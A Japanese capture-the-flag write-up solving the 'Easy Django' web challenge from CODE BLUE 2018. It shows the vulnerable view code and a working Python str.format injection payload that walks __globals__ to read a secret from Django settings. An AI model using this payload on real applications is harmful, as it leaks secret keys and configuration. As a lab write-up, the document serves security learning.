CODE BLUE 2018 で LINE と GRAYHASH の人たちが作ったミニCTFが開催されていた。
とりあえず Web 問だけ解いたのでその Writeup です。
Easy Django
http://52.197.132.74/
Find the : ‘SECRET_FLAG’
まず、問題URLにアクセスすると今風のWebサイトが表示される。
適当にURIを /hoge
とかでアクセスすると DEBUG=True
な画面が表示される。
どうやら subscribe/register
というパスがあるらしいのでアクセスするが、 POST
しか受け付けていないことがエラー時に出力されるコードからわかる。
# Create your views here.
def main(request):
context = {}
return render(request, 'mypage/index.html', context)
def subscribe(request):
# Get parameter from user
email = request.POST['email']; ... 👈
user = request.user
# Building json
template = '%s' % email
template = template.format(email=email, user=user)
template = "{'result':true, 'email':'"+template+"'}"
他にエンドポイントはないので、この数行のコードに潜む脆弱性を突いて settings.py に含まれている SECRET_FLAG
を抜き出す。
このコードから format 識別子 {}
をインジェクションすることが可能であることがわかる。
email
に {email}{user.is_staff}
という値を与えると template
は {email}{user.is_staff}
という文字列になる。
"{email}{user.is_staff}".format(email="{email}{user.is_staff}", user=AnonymousUser)
となり、レスポンスは次のように {user.is_staff}
が評価された形で返ることになる。
{'result':true, 'email':'{email}{user.is_staff}False'}
これまでのCTFのパターンであればここで SSTI して任意の関数を呼び出して open('flag.txt').read()
ということをすることになるが、今回はテンプレートエンジンは使っておらず、フォーマット文字列であるため関数呼び出しは不可能。
となると settings.py の任意の変数の値を取得するには __globals__
などを用いることになる。
参考 : Be Careful with Python’s New-Style String Format
CONFIG = {
'SECRET_KEY': 'super secret key'
}
class Event(object):
def __init__(self, id, level, message):
self.id = id
self.level = level
self.message = message
def format_event(format_string, event):
return format_string.format(event=event)
上記のようなコードがあったときに {event.__init__.__globals__[CONFIG][SECRET_KEY]}
という入力値与えることで SECRET_KEY
を取得できる。
というわけで今回だと以下のような文字列となる。
{email}{user.set_password.__globals__[auth].admin.settings.SECRET_FLAG}
これを email
の値として送信すると FLAG が返ってくる。
{'result':true, 'email':'{email}{user.set_password.__globals__[auth].admin.settings.SECRET_FLAG}FLAG{IU_Is_the_b3st_singer_ev3r!}'}
というわけで FLAG は FLAG{IU_Is_the_b3st_singer_ev3r!}
でした。
簡単だけど良問でした!